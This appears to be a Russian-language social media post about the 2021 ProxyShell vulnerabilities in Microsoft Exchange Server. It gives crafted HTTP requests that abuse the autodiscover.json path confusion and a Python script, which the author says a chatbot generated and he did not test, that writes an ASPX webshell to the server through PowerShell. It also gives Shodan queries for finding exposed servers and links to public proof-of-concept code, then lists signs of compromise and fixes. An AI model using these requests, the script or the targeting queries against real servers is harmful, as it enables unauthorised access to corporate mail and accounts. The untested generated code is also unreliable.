7.9Kпросмотров
23 июля 2025 г.
Score: 8.7K
#ProxyShell
В 2021 году сразу три бага в Exchange Server (CVE-2021-34473, CVE-2021-34523, CVE-2021-31207) позволили атаковать корпоративную почту без логина Уязвимость в механизме обработки внешних запросов, позволяющая неавторизованному атакующему:
1. выполнять команды на сервере,
2. загружать вебшеллы,
3. получать доступ к почте и учёткам. Кратко: через "обход маршрутизации" можно попасть в PowerShell backend Exchange и дальше выполнить любой код. Как это работает:
- Exchange сервер публикует HTTPS (обычно порт 443) наружу.
- Уязвимость позволяет "обмануть" механизм маршрутизации (X-Rps-CAT + специфический URL).
- В итоге: можно сделать запрос, как будто ты — привилегированный пользователь (SYSTEM). Запрос на получение почты: POST /autodiscover/autodiscover.json?@evil.com/mapi/nspi/ HTTP/1.1
Host: exchange.example.com
Content-Type: application/json После этого можно цеплять специальные запросы к endpoint’ам Exchange: POST /mapi/nspi/?MailboxId=<mailbox_id>&a=~1942062522 HTTP/1.1
Host: exchange.example.com
Cookie: X-BEResource=Administrator@exchange.example.com/EWS/Exchange.asmx?a=~1942062522; Упрощённый пример на питоне сгенерированный чатомгпт (я не проверял работоспособность, у нас свои эксплоиты под это 😆) import requests exchange_url = "https://exchange.example.com"
webshell_path = "/aspnet_client/webshell.aspx"
webshell_code = "<%@ Page Language='C#' %><% Response.Write(\"Shell!\"); %>" headers = { "Cookie": "X-BEResource=Administrator@exchange.example.com/powershell?~1942062522;", "Content-Type": "application/x-www-form-urlencoded"
} data = f"""<r> <s>New-Item -Path 'C:\\inetpub\\wwwroot\\aspnet_client\\webshell.aspx' -ItemType File -Value '{webshell_code}'</s>
</r>""" resp = requests.post(f"{exchange_url}/autodiscover/autodiscover.json?@evil.com/powershell/", headers=headers, data=data, verify=False)
print(resp.text) Публичные эксплоиты (PoC):
https://github.com/dmaasland/proxyshell-poc
https://github.com/horizon3ai/proxyshell Шодан: ssl:"Microsoft Exchange" или title:"Outlook" Признаки взлома:
1. Неизвестные .aspx-файлы в /aspnet_client/
2. Странные PowerShell-скрипты в логах
3. Запросы к URL с autodiscover.json?@ и длинными параметрами Как пофиксить:
1. Поставить последние cumulative updates для Exchange
2. Закрыть внешний доступ к Exchange (используй VPN)
3. Регулярно проверять логи и wwwroot 4. Отключить/мониторить PowerShell Remoting, если не используется